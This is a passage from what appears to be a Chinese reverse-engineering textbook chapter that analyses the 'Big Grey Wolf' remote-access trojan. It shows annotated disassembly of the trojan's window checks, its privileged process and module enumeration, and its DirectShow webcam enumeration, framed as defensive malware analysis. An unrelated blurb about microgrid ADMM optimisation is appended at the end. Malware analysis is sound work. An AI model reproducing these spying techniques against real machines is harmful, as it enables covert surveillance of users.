.text:100097D9  xor     eax, eax
.text:100097DB  test    ecx, ecx
.text:100097DD  pop     edi
.text:100097DE  pop     esi
.text:100097DF  setnz   al                  ; 通过g_wnd_flag返回指定窗口是否存在
.text:100097E2  retn

EnumFunc函数实现代码:
.text:10008D10  sub     esp, 100h
.text:10008D16  push    esi
.text:10008D17  push    edi
.text:10008D18  push    offset LibFileName  ; "user32.dll"
.text:10008D1D  call    ds:LoadLibraryA     ; 动态加载user32.dll
.text:10008D23  mov     esi, eax
.text:10008D25  push    offset ProcName     ; "GetWindowTextA"
.text:10008D2A  push    esi                 ; hModule
.text:10008D2B  call    ds:GetProcAddress   ; 获取GetWindowTextA函数地址
.text:10008D31  mov     edx, eax
.text:10008D33  mov     ecx, 3Fh
.text:10008D38  xor     eax, eax
.text:10008D3A  lea     edi, [esp+108h+var_FF]
.text:10008D3E  mov     [esp+108h+wnd_name], 0
.text:10008D43  push    254                 ; 参数3:缓冲区大小
.text:10008D48  rep     stosd
.text:10008D4A  mov     ecx, [esp+10Ch+arg_0]
.text:10008D51  stosb
.text:10008D52  lea     eax, [esp+10Ch+wnd_name]
.text:10008D56  push    eax                 ; 参数2:缓冲区地址
.text:10008D57  push    ecx                 ; 参数1:窗口句柄
.text:10008D58  call    edx                 ; 调用GetWindowTextA,获取窗口名称
.text:10008D5A  lea     edx, [esp+108h+wnd_name]
.text:10008D5E  push    offset g_wnd_name   ; unsigned __int8 *
.text:10008D63  push    edx                 ; unsigned __int8 *
.text:10008D64  call    ds:_mbsstr
.text:10008D6A  add     esp, 8
.text:10008D6D  test    eax, eax
.text:10008D6F  jz      short loc_10008D7B  ; 检查窗口名称是否存在
.text:10008D71  mov     g_wnd_flag, 1       ; 设置是否存在标志
.text:10008D7B  test    esi, esi
.text:10008D7D  jz      short loc_10008D86
.text:10008D7F  push    esi                 ; hLibModule
.text:10008D80  call    ds:FreeLibrary      ; 释放动态库
.text:10008D86  pop     edi
.text:10008D87  mov     eax, 1
.text:10008D8C  pop     esi
.text:10008D8D  add     esp, 100h
.text:10008D93  retn    8

笔记--------------------------------------------start

笔记--------------------------------------------end

如代码清单16-17所示,该病毒通过进程快照遍历进程,通过EnumProcessModules函数获取进程的所有模块信息。

代码清单16-17 进程、窗口管理代码片段

DllSyste函数实现代码:
.text:10011602  push    1                                 ; int
.text:10011604  push    offset Name                       ; "SeDebugPrivilege"
.text:10011609  mov     [esp+24Ch+hModule], esi
.text:1001160D  stosb
.text:1001160E  call    adjust_token                      ; 调用函数调整令牌权限
.text:10011613  add     esp, 8
.text:10011616  push    esi                               ; th32ProcessID
.text:10011617  push    2                                 ; dwFlags
.text:10011619  call    CreateToolhelp32Snapshot          ; 创建进程快照

.text:10011669  mov     ecx, [esp+24Ch+pe.th32ProcessID]  ; 循环开始
.text:1001166D  push    ecx                               ; dwProcessId
.text:1001166E  push    0                                 ; bInheritHandle
.text:10011670  push    410h                              ; dwDesiredAccess
.text:10011675  call    ds:OpenProcess                    ; 打开进程
.text:1001167B  mov     esi, eax
.text:1001167D  mov     eax, [esp+24Ch+pe.th32ProcessID]
.text:10011681  test    eax, eax
.text:10011683  mov     [esp+24Ch+var_238], esi
.text:10011687  jz      loc_10011774
.text:1001168D  cmp     eax, 4                            ; 忽略pid为4的进程
.text:10011690  jz      loc_10011774
.text:10011696  cmp     eax, 8                            ; 忽略pid为8的进程
.text:10011699  jz      loc_10011774
.text:1001169F  lea     edx, [esp+24Ch+cbNeeded]
.text:100116A3  lea     eax, [esp+24Ch+hModule]
.text:100116A7  push    edx                               ; lpcbNeeded
.text:100116A8  push    4                                 ; cb
.text:100116AA  push    eax                               ; lphModule
.text:100116AB  push    esi                               ; hProcess
.text:100116AC  call    EnumProcessModules                ; 遍历进程模块列表
.text:100116B1  mov     edx, [esp+24Ch+hModule]
.text:100116B5  lea     ecx, [esp+24Ch+Filename]
.text:100116BC  push    104h                              ; nSize
.text:100116C1  push    ecx                               ; lpFilename
.text:100116C2  push    edx                               ; hModule
.text:100116C3  push    esi                               ; hProcess
.text:100116C4  call    GetModuleFileNameExA              ; 获取进程路径

.text:100116F3  push    42h                               ; uFlags
.text:100116F5  push    esi                               ; uBytes
.text:100116F6  push    ebp                               ; hMem
.text:100116F7  call    ds:LocalReAlloc                   ; 释放空间

.text:10011774  lea     ecx, [esp+24Ch+pe]
.text:10011778  push    ecx                               ; lppe
.text:10011779  push    edi                               ; hSnapshot
.text:1001177A  call    Process32Next                     ; 遍历下一个进程
.text:1001177F  test    eax, eax
.text:10011781  jnz     loc_10011669                      ; 循环开始
.text:10011787  mov     esi, [esp+24Ch+var_238]           ; 循环结束
.text:1001178B  push    42h                               ; uFlags
.text:1001178D  push    ebx                               ; uBytes
.text:1001178E  push    ebp                               ; hMem
.text:1001178F  call    ds:LocalReAlloc
.text:10011795  push    0                                 ; int
.text:10011797  push    offset Name                       ; "SeDebugPrivilege"
.text:1001179C  mov     ebx, eax
.text:1001179E  call    adjust_token                      ; 调用函数调整令牌权限
.text:100117A3  add     esp, 8
.text:100117A6  push    edi                               ; hObject
.text:100117A7  mov     edi, ds:CloseHandle
.text:100117AD  call    edi ; CloseHandle                 ; 关闭进程快照
.text:100117AF  push    esi                               ; hObject
.text:100117B0  call    edi ; CloseHandle                 ; 关闭进程句柄

笔记--------------------------------------------start

笔记--------------------------------------------end

如代码清单16-18所示,该病毒通过DirectShow完成视频采集(DirectShow是微软基于COM的流媒体处理的开发包)。

代码清单16-18 摄像头查看代码片段

DllVideo函数实现代码:
.text:10001E8B	lea     ecx, [esp+900h+pCreateDevEnum]
.text:10001E8F	push    ecx                   ; pCreateDevEnum
.text:10001E90	push    offset stru_100853DC  ; riid,IID_ICreateDevEnum
.text:10001E95	push    1                     ; dwClsContext,CLSCTX_INPROC_SERVER
.text:10001E97	push    ebx                   ; pUnkOuter
.text:10001E98	push    offset stru_1008546C  ; rclsid,CLSID_SystemDeviceEnum
.text:10001E9D	call    esi ; CoCreateInstance; 创建设备枚举COM对象:ICreateDevEnum

.text:10001EB7	push    ebx                   ; 参数4:0
.text:10001EB8	push    ecx                   ; 参数3:保存对象的地址
.text:10001EB9	mov     edx, [eax]            ; 获取虚表指针
.text:10001EBB	push    offset stru_1008545C  ; 参数2:CLSID_VideoInputDeviceCategory
.text:10001EC0	push    eax                   ; 参数1:this指针
.text:10001EC1	mov     [esp+910h+var_4], ebx
.text:10001EC8	call    dword ptr [edx+0Ch]
                            ; 调用CreateClassEnumerator,创建视频采集设备枚举COM对象
                            
.text:10001EF4	push    eax                   ; 参数1:this指针
.text:10001EF5	mov     ecx, [eax]
.text:10001EF7	call    dword ptr [ecx+14h]   ; 调用IEnumMoniker->Reset
.text:10001EFA	mov     eax, [esp+900h+pEnum]
.text:10001EFE	lea     ecx, [esp+900h+var_8C4]

.text:10001F02	push    ecx
.text:10001F03	lea     ecx, [esp+904h+pMoniker2]
.text:10001F07	mov     edx, [eax]
.text:10001F09	push    ecx                   ; 参数3:保存对象的地址
.text:10001F0A	push    1                     ; 参数2:1
.text:10001F0C	push    eax                   ; 参数1:this指针
.text:10001F0D	call    dword ptr [edx+0Ch]
                                            ; 调用IEnumMoniker->Next,获取
                                            ; IMoniker接口,循环枚举
.text:10001F19	mov     eax, [esp+904h+pMoniker2]
.text:10001F1D	lea     ecx, [esp+904h+var_8D4]
.text:10001F21	push    ecx
.text:10001F22	push    offset unk_100854DC
.text:10001F27	mov     edx, [eax]
.text:10001F29	push    ebx
.text:10001F2A	push    ebx
.text:10001F2B	push    eax
.text:10001F2C	call    dword ptr [edx+36]    ; 调用IMoniker->BindToStorage

笔记--------------------------------------------start

笔记--------------------------------------------end

16.6 本章小结

本章的学习重点是将逆向技术应用于病毒程序分析。正所谓“知己知彼,百战不殆”,要想反病毒,首先就要清楚病毒的实现原理,这样才能技高一筹。有了对大灰狼远控木马的分析,读者可以根据病毒的实现原理,编写对应的修复、防御工具,制作针对大灰狼远控木马的专杀软件。

内容概要:本文围绕微电网群的双层优化分布式优化问题,提出基于交替方向乘子法(ADMM)的分布式协同优化制策略,并通过Matlab代码实现仿真验证。研究构建了上层为微电网间能量协调优化调度、下层为各微电网内部源-荷-储精细化运行管理的双层优化模型。采用ADMM算法将集中式优化问题分解为多个可并行求解的子问题,实现了计算的分布式化信息隐私保护,显著提升了系统的可扩展性鲁棒性。文中系统阐述了模型构建原理、ADMM算法设计流程及其收敛性分析,并通过仿真实验验证了该方法在降低系统综合运行成本、提高可再生能源消纳能力以及维持系统稳定运行方面的有效性。; 适合人群:具备电力系统分析、优化理论基础,熟悉Matlab编程,从事微电网、分布式能源系统、智能电网等领域研究的研究生、科研人员及工程技术人员。; 使用场景及目标:① 学习和掌握基于ADMM的分布式优化方法在微电网群协同能量管理中的具体应用;② 实现微电网群多主体参下的经济调度仿真分析;③ 深入理解双层优化架构的设计理念分布式求解算法的实现机制。; 阅读建议:建议结合所提供的Matlab代码进行动手实践,重点剖析模型建立算法实现的关键细节,可通过调整系统参数、改变运行场景等方式,深入探究ADMM算法的收敛特性及其对优化效果的影响。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值